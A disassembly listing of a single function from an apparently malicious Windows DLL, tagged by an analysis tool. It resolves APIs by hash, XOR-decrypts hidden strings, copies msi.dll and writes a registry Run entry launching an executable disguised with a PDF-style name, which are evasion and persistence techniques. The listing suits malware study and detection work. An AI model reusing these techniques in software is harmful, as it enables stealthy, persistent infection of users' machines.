Function at 0x180002470
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rbp + 0x480], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov edx, 0xfc97a3
mov rcx, rax
call fcn.1800011c0
mov qword [rsp + 0x58], rax
mov edx, 0xd171487f
mov rcx, rsi
call fcn.1800011c0
mov r15, rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
mov edx, 0xf9ffecbd
mov rcx, rax
call fcn.1800011c0
mov r12, rax
lea rcx, str.Userenv.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0xf6cc606b
mov rcx, rax
call fcn.1800011c0
mov r14, rax
mov edx, 0x5d22
mov rcx, rsi
call fcn.1800011c0
mov rbx, rax
mov edx, 0x52da6150
mov rcx, rdi
call fcn.1800011c0
mov qword [rsp + 0x50], rax
mov edx, 0x1ba9a24a
mov rcx, rdi
call fcn.1800011c0
mov r13, rax
mov edx, 0x1c2cbd
mov rcx, rsi
call fcn.1800011c0
mov rsi, rax
mov ecx, 0xa
call rbx
lea rdx, [rbp + 0x60]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x180002ed5
xor eax, eax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], 7
mov word [rbp + 0x38], ax
lea rax, [rbp + 0x60]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800025a0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x38]
call fcn.1800044c0
nop
call r15
mov rcx, rax
lea r8, [rbp - 0x80]
mov edx, 0x20008
call r12
test eax, eax
je 0x1800033a8
mov dword [rbp + 0x10], 0x104
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x270]
mov rcx, qword [rbp - 0x80]
call r14
test eax, eax
je 0x18000339f
movzx eax, byte [0x180021e08]
xor byte [0x180020a80], al
movzx eax, byte [0x180021e09]
xor byte [0x180020a81], al
movzx eax, byte [0x180021e0a]
xor byte [0x180020a82], al
movzx eax, byte [0x180021e0b]
xor byte [0x180020a83], al
movzx eax, byte [0x180021e0c]
xor byte [0x180020a84], al
movzx eax, byte [0x180021e0d]
xor byte [0x180020a85], al
movzx eax, byte [0x180021e0e]
xor byte [0x180020a86], al
movzx eax, byte [0x180021e0f]
xor byte [0x180020a87], al
movzx eax, byte [0x180021e10]
xor byte [0x180020a88], al
movzx eax, byte [0x180021e11]
xor byte [0x180020a89], al
movzx eax, byte [0x180021e12]
xor byte [0x180020a8a], al
movzx eax, byte [0x180021e13]
xor byte [0x180020a8b], al
movzx eax, byte [0x180021e14]
xor byte [0x180020a8c], al
movzx eax, byte [0x180021e15]
xor byte [0x180020a8d], al
movzx eax, byte [0x180021e16]
xor byte [0x180020a8e], al
mov byte [0x180020a8f], 0
mov ecx, 0x20
call fcn.180004db0
mov rdx, rax
xor r14d, r14d
mov ecx, r14d
add rax, 0x1e
lea r8, [0x180020a8f]
lea r9, [0x180020a80]
cmp rdx, r8
ja 0x180002710
cmp rax, r9
jb 0x180002710
nop dword [rax]
movzx eax, byte [rcx + r9]
mov word [rdx + rcx*2], ax
inc rcx
cmp rcx, 0x10
jb 0x1800026f0
jmp 0x18000272c
movq xmm1, qword [rcx + r9]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movdqu xmmword [rdx + rcx*2], xmm1
add rcx, 8
cmp rcx, 0x10
jb 0x180002710
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r14w
mov r8, rdi
inc r8
cmp word [rdx + r8*2], r14w
jne 0x180002744
lea rcx, [rbp + 0x18]
call fcn.1800044c0
nop
lea r8, str.msi.dll
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.180004640
nop
lea r8, str.msi.dll
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x70]
call fcn.180004640
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
xor r8d, r8d
call rsi
lea r8, [0x18001ca58]
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.180004640
mov rbx, rax
lea rax, [rbp - 0x50]
cmp rax, rbx
je 0x180002834
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x180002804
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800027ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033fe
call fcn.180004da8
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180002876
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033fe
call fcn.180004da8
lea r8, [0x18001ca58]
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x60]
call fcn.180004640
mov rbx, rax
lea rax, [rbp - 0x70]
cmp rax, rbx
je 0x180002907
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x1800028d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800028d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003404
call fcn.180004da8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180002949
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002944
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003404
call fcn.180004da8
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
xor r8d, r8d
call rsi
mov rax, r14
mov r10, r14
lea rsi, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov ebx, 1
lea r11, [0x180021e08]
movzx r9d, byte [0x180021e08]
nop dword [rax + rax]
lea r8, [rsi + 1]
add r8, r10
mov rdx, r8
cmp rax, 0x10
jb 0x180002ab3
xor byte [r8 - 1], r9b
movzx eax, byte [rbx + r11]
xor byte [r8], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 1], cl
inc rax
cmp rax, 0x10
jb 0x180002ad9
xor byte [r8 + 2], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 3], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 4], cl
inc rax
cmp rax, 0x10
jb 0x180002afe
xor byte [r8 + 5], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 6], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 7], cl
inc rax
cmp rax, 0x10
jb 0x180002b23
xor byte [r8 + 8], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 9], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xa], cl
inc rax
cmp rax, 0x10
jb 0x180002b48
xor byte [r8 + 0xb], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xc], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xd], cl
inc rax
cmp rax, 0x10
jb 0x180002b6d
xor byte [r8 + 0xe], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xf], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x10], cl
inc rax
cmp rax, 0x10
jb 0x180002b92
xor byte [r8 + 0x11], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0x12], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x13], cl
inc rax
cmp rax, 0x10
jb 0x180002bb7
xor byte [r8 + 0x14], r9b
mov rax, rbx
jmp 0x180002bca
movzx ecx, byte [rax + r11]
xor byte [r8 - 1], cl
inc rax
cmp rax, 0x10
jb 0x180002f05
xor byte [r8], r9b
movzx eax, byte [rbx + r11]
xor byte [r8 + 1], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 2], cl
inc rax
cmp rax, 0x10
jb 0x180002f2b
xor byte [r8 + 3], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 4], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 5], cl
inc rax
cmp rax, 0x10
jb 0x180002f50
xor byte [r8 + 6], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 7], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 8], cl
inc rax
cmp rax, 0x10
jb 0x180002f75
xor byte [r8 + 9], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xa], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xb], cl
inc rax
cmp rax, 0x10
jb 0x180002f9a
xor byte [r8 + 0xc], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xd], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xe], cl
inc rax
cmp rax, 0x10
jb 0x180002fbf
xor byte [r8 + 0xf], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0x10], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x11], cl
inc rax
cmp rax, 0x10
jb 0x180002fe4
xor byte [r8 + 0x12], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0x13], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x14], cl
inc rax
cmp rax, 0x10
cmovae rax, r14
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x15], cl
inc rax
add r10, 0x17
cmp r10, 0x2e
jb 0x180002990
mov byte [0x180020abd], 0
mov ecx, 0x5c
call fcn.180004db0
mov rdx, rax
mov rcx, r14
add rax, 0x5a
lea r8, [0x180020abd]
cmp rdx, r8
ja 0x180002c0f
cmp rax, rsi
jae 0x180002c60
movq xmm1, qword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movdqu xmmword [rdx], xmm1
movq xmm2, qword [0x180020a98]
punpcklbw xmm2, xmm0
movdqu xmmword [rdx + 0x10], xmm2
movq xmm1, qword [0x180020aa0]
punpcklbw xmm1, xmm0
movdqu xmmword [rdx + 0x20], xmm1
movq xmm2, qword [0x180020aa8]
punpcklbw xmm2, xmm0
movdqu xmmword [rdx + 0x30], xmm2
mov ecx, 0x20
nop word [rax + rax]
movzx eax, byte [rcx + rsi]
mov word [rdx + rcx*2], ax
inc rcx
cmp rcx, 0x2e
jb 0x180002c60
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r14w
inc rdi
cmp word [rdx + rdi*2], 0
jne 0x180002c86
mov r8, rdi
lea rcx, [rbp - 0x10]
call fcn.1800044c0
nop
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
mov r8d, 0x19
lea rdx, str.pdf_20240615_00003645.exe
lea rcx, [rbp - 0x30]
call fcn.1800044c0
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20007
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [rsp + 0x50]
test eax, eax
je 0x18000300e
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x180002d50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000340a
call fcn.180004da8
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x180002da1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002d9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003410
call fcn.180004da8
mov qword [rbp], r14
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x180002df2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003416
call fcn.180004da8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x180002e43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002e3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000341c
call fcn.180004da8
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x180002e95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002e8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033ec
call fcn.180004da8
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x180002ed5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033f2
call fcn.180004da8
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.180004ab0
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movzx ecx, byte [rax + r11]
xor byte [r8], cl
inc rax
cmp rax, 0x10
jb 0x1800029b4
xor byte [r8 + 1], r9b
movzx eax, byte [rbx + r11]
xor byte [r8 + 2], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 3], cl
inc rax
cmp rax, 0x10
jb 0x1800029d9
xor byte [r8 + 4], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 5], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 6], cl
inc rax
cmp rax, 0x10
jb 0x1800029fe
xor byte [r8 + 7], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 8], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 9], cl
inc rax
cmp rax, 0x10
jb 0x180002a23
xor byte [r8 + 0xa], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xb], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xc], cl
inc rax
cmp rax, 0x10
jb 0x180002a48
xor byte [r8 + 0xd], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0xe], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0xf], cl
inc rax
cmp rax, 0x10
jb 0x180002a6d
xor byte [r8 + 0x10], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0x11], al
lea rax, [rbx + 1]
movzx ecx, byte [rax + r11]
xor byte [rdx + 0x12], cl
inc rax
cmp rax, 0x10
jb 0x180002a92
xor byte [r8 + 0x13], r9b
movzx eax, byte [rbx + r11]
xor byte [rdx + 0x14], al
lea rax, [rbx + 1]
jmp 0x180002bca
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rcx, qword [rbp - 0x70]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
mov eax, dword [rbp - 0x60]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rcx, qword [rbp - 0x78]
call r13
nop
mov rdx, qword [rbp - 0x18]
test eax, eax
je 0x180003223
cmp rdx, 8
jb 0x180003096
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003091
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000340a
call fcn.180004da8
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1800030e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800030e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003410
call fcn.180004da8
mov qword [rbp], r14
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x180003138
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003133
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003416
call fcn.180004da8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x180003189
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000341c
call fcn.180004da8
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x1800031db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800031d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033ec
call fcn.180004da8
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x180002ed5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033f2
jmp 0x180002ed0
cmp rdx, 8
jb 0x18000325f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000325a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000340a
call fcn.180004da8
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1800032b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800032ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003410
call fcn.180004da8
mov qword [rbp], r14
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x180003301
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800032fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003416
call fcn.180004da8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x180003352
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000334d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000341c
call fcn.180004da8
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x18000339f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000339a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033ec
call fcn.180004da8
mov rcx, qword [rbp - 0x80]
call qword [rsp + 0x58]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x180002ed5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800033f8
jmp 0x180002ed0
call fcn.18000ae94
nop
call fcn.18000ae94
int3
call fcn.18000ae94
nop
call fcn.18000ae94
int3
call fcn.18000ae94
nop
call fcn.18000ae94
nop
call fcn.18000ae94
nop
call fcn.18000ae94
nop
call fcn.18000ae94
int3